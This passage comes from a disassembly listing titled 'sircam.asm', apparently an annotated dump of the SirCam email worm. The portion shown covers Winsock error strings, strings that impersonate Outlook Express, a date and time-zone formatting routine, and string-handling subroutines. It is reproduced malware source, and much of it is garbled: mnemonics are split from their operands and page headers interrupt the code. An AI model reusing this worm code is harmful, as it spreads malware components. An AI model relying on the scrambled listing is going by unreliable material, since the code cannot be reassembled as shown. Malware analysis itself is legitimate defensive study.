0FFFFFFFFh, 0Fh aNetworkIsDown db ’Network is down’,0 ; DATA XREF: sub_4101AC+38F\030o dd 0FFFFFFFFh, 16h aNetworkIsUnrea db ’Network is unreachable’,0 ; DATA XREF: sub_4101AC+3A0\030o align 4 dd 0FFFFFFFFh, 23h aNetworkDropped db ’Network dropped connection on reset’,0 ; DATA XREF: sub_4101AC+3B1 \030o dd 0FFFFFFFFh, 20h aSoftwareCaused db ’Software caused connection abort’,0 ; DATA XREF: sub_4101AC+3C2\030o align 4 dd 0FFFFFFFFh, 18h aConnectionRese db ’Connection reset by peer’,0 ; DATA XREF: sub_4101AC+3D3\030o align 4 dd 0FFFFFFFFh, 19h aNoBufferSpaceA db ’No buffer space available’,0 ; DATA XREF: sub_4101AC+3E4\030o align 4 dd 0FFFFFFFFh, 1Bh aSocketIsAlread db ’Socket is already connected’,0 ; DATA XREF: sub_4101AC+3F5\030o dd 0FFFFFFFFh, 17h aSocketIsNotCon db ’Socket is not connected’,0 ; DATA XREF: sub_4101AC+406\030o dd 0FFFFFFFFh, 20h aCanTSendAfterS db ’Can’,27h,’t send after socket shutdown’,0 ; DATA XREF: sub_4101AC+417 \030o align 4 dd 0FFFFFFFFh, 20h aTooManyReferen db ’Too many references:can’,27h,’t splice’,0 ; DATA XREF: sub_4101AC+428 \030o align 4 dd 0FFFFFFFFh, 14h aConnectionTime db ’Connection timed out’,0 ; DATA XREF: sub_4101AC+439\030o align 4 dd 0FFFFFFFFh, 12h aConnectionRefu db ’Connection refused’,0 ; DATA XREF: sub_4101AC+44A\030o align 4 dd 0FFFFFFFFh, 21h aTooManyLevelsO db ’Too many levels of symbolic links’,0 ; DATA XREF: sub_4101AC+45B\030o align 4 dd 0FFFFFFFFh, 15h aFileNameIsTooL db ’File name is too long’,0 ; DATA XREF: sub_4101AC+46C\030o align 4 dd 0FFFFFFFFh, 0Ch dword_410C2C dd 74736F48h, 20736920h, 6E776F64h, 0, 0FFFFFFFFh, 10h ; DATA XREF: sub_4101AC+47D\030o aNoRouteToHost db ’No route to host’,0 ; DATA XREF: sub_4101AC+48E\030o align 4 dd 0FFFFFFFFh, 16h aDirectoryIsNot db ’Directory is not empty’,0 ; DATA XREF: sub_4101AC+49F\030o align 4 dd 0FFFFFFFFh, 12h aTooManyProcess db ’Too many processes’,0 ; DATA XREF: sub_4101AC+4B0\030o align 4 dd 0FFFFFFFFh, 0Eh dword_410C9C dd 206F6F54h, 796E616Dh, 65737520h, 7372h, 0FFFFFFFFh sircam.asm aDiskQuotaExcee aStaleNfsFileHa aTooManyLevel_0 aNetworkSubsyst aWinsockDllCann aWinsockNotInit dword_410D98 aNonAuthoritati o Fri Aug 10 12:42:44 2001 468 ; DATA XREF: sub_4101AC+4C1\030o dd 13h db ’Disk quota exceeded’,0 ; DATA XREF: sub_4101AC+4D2\030o dd 0FFFFFFFFh, 15h db ’Stale NFS file handle’,0 ; DATA XREF: sub_4101AC+4E3\030o align 4 dd 0FFFFFFFFh, 21h db ’Too many levels of remote in path’,0 ; DATA XREF: sub_4101AC+4F4\030o align 4 dd 0FFFFFFFFh, 1Dh db ’Network subsystem is unusable’,0 ; DATA XREF: sub_4101AC+505\030o align 4 dd 0FFFFFFFFh, 2Bh db ’Winsock DLL cannot support this application’,0 ; DATA XREF: sub_4101AC+513\030o dd 0FFFFFFFFh, 17h db ’Winsock not initialized’,0 ; DATA XREF: sub_4101AC+521\030o dd 0FFFFFFFFh, 0Eh dd 74736F48h, 746F6E20h, 756F6620h, 646Eh, 0FFFFFFFFh ; DATA XREF: sub_4101AC+52F\030o dd 22h db ’Non authoritative - host not found’,0 ; DATA XREF: sub_4101AC+53D\030 align 4 dd 0FFFFFFFFh, 15h aNonRecoverable db ’Non recoverable error’,0 ; align 4 dd 0FFFFFFFFh, 2Ch aValidNameNoDat db ’Valid name, no data record ; DATA align 4 dd 0FFFFFFFFh, 15h aNotAWinsockErr db ’Not a Winsock error (’,0 ; align 4 dd 0FFFFFFFFh, 1 dword_410E54 dd 29h ; DATA DATA XREF: sub_4101AC+54B\030o of requested type’,0 XREF: sub_4101AC+559\030o DATA XREF: sub_4101AC+565\030o XREF: sub_4101AC+577\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_410E58 proc near ; DATA XREF: CODE:0041A960\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_410E7D push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E65C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_410E84 locret_410E7C: ; CODE XREF: sub_410E58+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410E7D: ; DATA XREF: sub_410E58+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_410E7C ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410E84: ; CODE XREF: sub_410E58+24\030j ; DATA XREF: sub_410E58+1F\030o pop ebp sircam.asm sub_410E58 Fri Aug 10 12:42:44 2001 469 retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_410E88: ; DATA XREF: CODE:0041A95C\031o sub ds:dword_41E65C, 1 jnb short locret_410EB2 jmp short locret_410EB2 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ aOutlookExpre_1 db ’Outlook Express TCP/IP library’,0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_410EB2: ; CODE XREF: CODE:00410E8F\030j ; CODE:00410E91\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_410EB4 proc near ; DATA XREF: CODE:0041A968\031o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_410ED9 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_41E660 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_410EE0 locret_410ED8: ; CODE XREF: sub_410EB4+2A\031j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410ED9: ; DATA XREF: sub_410EB4+6\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short locret_410ED8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410EE0: sub_410EB4 ; CODE XREF: sub_410EB4+24\030j ; DATA XREF: sub_410EB4+1F\030o pop ebp retn endp ; sp = -4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_410EE4: ; DATA XREF: CODE:0041A964\031o sub ds:dword_41E660, 1 jnb short locret_410F03 jmp short locret_410F03 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ aOutlookExpre_2 db ’Outlook Express 5.0’,0 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ locret_410F03: ; CODE XREF: CODE:00410EEB\030j ; CODE:00410EED\030j retn sircam.asm Fri Aug 10 12:42:44 2001 470 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_410F04 proc near var_C0 var_BC var_B8 var_B4 var_B0 var_AC var_58 var_4 = = = = = = = = ; CODE XREF: sub_411110+141\031p dword ptr -0C0h byte ptr -0BCh dword ptr -0B8h byte ptr -0B4h dword ptr -0B0h dword ptr -0ACh dword ptr -58h dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFF40h push ebx push esi push edi xor edx, edx mov [ebp+var_B0], edx mov esi, eax xor eax, eax push ebp push offset loc_410FF1 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_AC] push eax call j_GetTimeZoneInformation dec eax jz short loc_410F45 dec eax jnz short loc_410F50 mov ebx, [ebp+var_AC] add ebx, [ebp+var_4] jmp short loc_410F56 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410F45: ; CODE XREF: sub_410F04+31\030j mov ebx, [ebp+var_AC] add ebx, [ebp+var_58] jmp short loc_410F56 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410F50: mov ; CODE XREF: sub_410F04+34\030j ebx, [ebp+var_AC] loc_410F56: ; CODE XREF: sub_410F04+3F\030j ; sub_410F04+4A\030j test ebx, ebx jg short loc_410F68 mov eax, esi mov edx, offset dword_411008 call sub_40351C jmp short loc_410F74 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410F68: mov mov call ; CODE XREF: sub_410F04+54\030j eax, esi edx, offset dword_411014 sub_40351C loc_410F74: ; CODE XREF: sub_410F04+62\030j mov cdq xor eax, ebx eax, edx sircam.asm Fri Aug 10 12:42:44 2001 sub mov mov mov cdq idiv mov mov mov cdq idiv mov lea push mov mov mov mov lea mov mov call mov mov call xor pop pop pop mov push loc_410FE5: sub_410F04 eax, ebx, eax, ecx, 471 edx eax ebx 3Ch ecx edi, eax eax, ebx ecx, 3Ch ecx ebx, edx eax, [ebp+var_B0] eax [ebp+var_C0], edi [ebp+var_BC], 0 [ebp+var_B8], ebx [ebp+var_B4], 0 edx, [ebp+var_C0] ecx, 1 eax, offset dword_411020 sub_407B2C edx, [ebp+var_B0] eax, esi sub_40372C eax, eax edx ecx ecx fs:[eax], edx offset loc_410FF8 ; CODE XREF: CODE:00410FF6\031j lea eax, [ebp+var_B0] call sub_4034C8 retn endp ; sp = -0D4h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410FF1: ; DATA XREF: sub_410F04+19\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_410FE5 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_410FF8: ; DATA XREF: sub_410F04+DC\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_411008 dd 2Bh, 0FFFFFFFFh, 1 ; DATA XREF: sub_410F04+58\030o dword_411014 dd 2Dh, 0FFFFFFFFh, 8 ; DATA XREF: sub_410F04+66\030o dword_411020 dd 2 dup(64322E25h), 0, 0FFFFFFFFh, 3 ; DATA XREF: sub_410F04+BD\030o dword_411034 dd 6E7553h, 0FFFFFFFFh, 3, 6E6F4Dh, 0FFFFFFFFh, 3, 657554h ; DATA XREF: DATA:0041D720\031o ; DATA:0041D724\031o dd 0FFFFFFFFh, 3, 646557h, 0FFFFFFFFh, 3, 756854h, 0FFFFFFFFh dd 3, 697246h, 0FFFFFFFFh, 3, 746153h, 0FFFFFFFFh, 3 dword_411088 dd 6E614Ah, 0FFFFFFFFh, 3, 626546h, 0FFFFFFFFh, 3, 72614Dh ; DATA XREF: DATA:0041D73C\031o ; DATA:0041D740\031o dd 0FFFFFFFFh, 3, 727041h, 0FFFFFFFFh, 3, 79614Dh, 0FFFFFFFFh dd 3, 6E754Ah, 0FFFFFFFFh, 3, 6C754Ah, 0FFFFFFFFh, 3, 677541h dd 0FFFFFFFFh, 3, 706553h, 0FFFFFFFFh, 3, 74634Fh, 0FFFFFFFFh sircam.asm Fri Aug 10 12:42:44 2001 472 dd 3, 766F4Eh, 0FFFFFFFFh, 3, 636544h ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_411110 proc near var_5C var_58 var_28 var_C var_8 var_4 arg_0 arg_4 = = = = = = = = ; CODE XREF: sub_412A08+5E\031p dword ptr -5Ch byte ptr -58h byte ptr -28h dword ptr -0Ch dword ptr -8 dword ptr -4 dword ptr 8 dword ptr 0Ch push ebp mov ebp, esp add esp, 0FFFFFFA4h push ebx push esi push edi xor edx, edx mov [ebp+var_5C], edx mov [ebp+var_4], eax mov ecx, 7 lea eax, [ebp+var_28] mov edx, ds:off_401000 call sub_403B1C mov ecx, 0Ch lea eax, [ebp+var_58] mov edx, ds:off_401000 call sub_403B1C xor eax, eax push ebp push offset loc_4112A2 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, ds:off_41DB38 mov eax, [eax] mov edx, ds:off_41D720 call sub_403834 jnz short loc_411181 push [ebp+arg_4] push [ebp+arg_0] mov edx, [ebp+var_4] mov eax, offset aDddDMmmYyyyHhM ; "ddd, d mmm yyyy hh:mm:ss" call sub_408C8C jmp loc_411244 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411181: mov mov lea mov mov ; CODE XREF: sub_411110+57\030j ebx, 7 esi, ds:off_41DB38 edi, [ebp+var_28] eax, offset off_41D720 [ebp+var_8], eax mov mov call mov mov mov call add add add eax, edi edx, [esi] sub_40351C eax, esi edx, [ebp+var_8] edx, [edx] sub_40351C [ebp+var_8], 4 edi, 4 esi, 4 loc_411197: ; CODE XREF: sub_411110+A7\031j sircam.asm Fri Aug 10 12:42:44 2001 473 dec jnz mov mov lea mov mov ebx short loc_411197 ebx, 0Ch esi, ds:off_41DB5C edi, [ebp+var_58] eax, offset off_41D73C [ebp+var_C], eax mov mov call mov mov mov call add add add dec jnz push push mov mov call mov lea mov ; CODE XREF: sub_411110+DF\031j eax, edi edx, [esi] sub_40351C eax, esi edx, [ebp+var_C] edx, [edx] sub_40351C [ebp+var_C], 4 edi, 4 esi, 4 ebx short loc_4111CF [ebp+arg_4] [ebp+arg_0] edx, [ebp+var_4] eax, offset aDddDMmmYyyyHhM ; "ddd, d mmm yyyy hh:mm:ss" sub_408C8C ebx, 7 esi, [ebp+var_28] edi, ds:off_41DB38 mov mov call add add dec jnz mov lea mov ; CODE XREF: sub_411110+112\031j eax, edi edx, [esi] sub_40351C edi, 4 esi, 4 ebx short loc_411212 ebx, 0Ch esi, [ebp+var_58] edi, ds:off_41DB5C mov mov call add add dec jnz eax, edi edx, [esi] sub_40351C edi, 4 esi, 4 ebx short loc_411232 mov push push lea call push mov mov call xor pop pop pop mov push ; CODE XREF: sub_411110+6C\030j eax, [ebp+var_4] dword ptr [eax] offset dword_4112E0 eax, [ebp+var_5C] sub_410F04 [ebp+var_5C] eax, [ebp+var_4] edx, 3 sub_4037E4 eax, eax edx ecx ecx fs:[eax], edx offset loc_4112A9 lea ; CODE XREF: CODE:004112A7\031j eax, [ebp+var_5C] loc_4111CF: loc_411212: loc_411232: ; CODE XREF: sub_411110+132\031j loc_411244: loc_411273: sircam.asm Fri Aug 10 12:42:44 2001 sub_411110 call sub_4034C8 lea eax, [ebp+var_58] mov ecx, 0Ch mov edx, ds:off_401000 call sub_403BE8 lea eax, [ebp+var_28] mov ecx, 7 mov edx, ds:off_401000 call sub_403BE8 retn endp ; sp = -7Ch 474 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4112A2: ; DATA XREF: sub_411110+3A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411273 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4112A9: ; DATA XREF: sub_411110+15E\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 18h aDddDMmmYyyyHhM db ’ddd, d mmm yyyy hh:mm:ss’,0 ; DATA XREF: sub_411110+62\030o ; sub_411110+EA\030o align 4 dd 0FFFFFFFFh, 1 dword_4112E0 dd 20h ; DATA XREF: sub_411110+139\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_4112E4 proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push mov add push push xor mov mov mov mov mov call mov call xor push push push mov mov mov call mov ; CODE XREF: sub_41140C+40\031p ; sub_4114A8+64\031p ... ebp ebp, esp esp, 0FFFFFFF4h ebx esi ebx, ebx [ebp+var_C], ebx esi, ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_41136E dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, [ebp+var_8] sub_4039B4 ebx, eax sircam.asm Fri Aug 10 12:42:44 2001 475 cmp ebx, 1 jge short loc_411335 mov edx, esi mov eax, [ebp+var_4] call sub_406E9C jmp short loc_411353 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411335: ; CODE XREF: sub_4112E4+43\030j lea push mov dec mov mov call mov mov call eax, [ebp+var_C] eax ecx, ebx ecx edx, 1 eax, [ebp+var_4] sub_40392C eax, [ebp+var_C] edx, esi sub_406E9C xor pop pop pop mov push ; CODE XREF: sub_4112E4+4F\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_411375 loc_411353: loc_411360: sub_4112E4 ; CODE XREF: CODE:00411373\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_41136E: ; DATA XREF: sub_4112E4+28\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_411360 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411375: ; DATA XREF: sub_4112E4+77\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41137C proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push mov add push push xor mov ebp ebp, esp esp, 0FFFFFFF4h ebx esi ebx, ebx [ebp+var_C], ebx ; CODE XREF: sub_41140C+30\031p ; sub_4114A8+47\031p ... sircam.asm Fri Aug 10 12:42:44 2001 mov mov mov mov call mov call xor push push push mov mov mov call mov lea push mov call mov sub lea mov call mov mov call xor pop pop pop mov push esi, ecx [ebp+var_8], edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, [ebp+var_8] sub_4038D8 eax, eax ebp offset loc_4113FC dword ptr fs:[eax] fs:[eax], esp edx, [ebp+var_4] eax, [ebp+var_8] sub_4039B4 ebx, eax eax, [ebp+var_C] eax eax, [ebp+var_4] sub_403724 ecx, eax ecx, ebx edx, [ebx+1] eax, [ebp+var_4] sub_40392C eax, [ebp+var_C] edx, esi sub_406E9C eax, eax edx ecx ecx fs:[eax], edx offset loc_411403 loc_4113EE: sub_41137C 476 ; CODE XREF: CODE:00411401\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -1Ch ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4113FC: ; DATA XREF: sub_41137C+28\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4113EE ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_411403: ; DATA XREF: sub_41137C+6D\030o pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_41140C proc near var_C var_8 var_4 = dword ptr -0Ch = dword ptr -8 = dword ptr -4 push ebp ; CODE XREF: sub_4122C8+36\031p sircam.asm Fri Aug 10 12:42:44 2001 mov push push push push mov mov mov call xor push push push mov lea mov mov call lea mov mov call mov lea call mov mov call xor pop pop pop mov push ebp, esp 0 0 0 ebx ebx, edx [ebp+var_4], eax eax, [ebp+var_4] sub_4038D8 eax, eax ebp offset loc_411481 dword ptr fs:[eax] fs:[eax], esp ecx, [ebp+var_8] edx, offset dword_411498 eax, [ebp+var_4] sub_41137C ecx, [ebp+var_C] edx, offset dword_4114A4 eax, [ebp+var_8] sub_4112E4 edx, [ebp+var_C] eax, [ebp+var_8] sub_403560 edx, ebx eax, [ebp+var_8] sub_406E9C eax, eax edx ecx ecx fs:[eax], edx offset loc_411488 loc_411473: sub_41140C 477 ; CODE XREF: CODE:00411486\031j lea eax, [ebp+var_C] mov edx, 3 call sub_4034EC retn endp ; sp = -18h ; 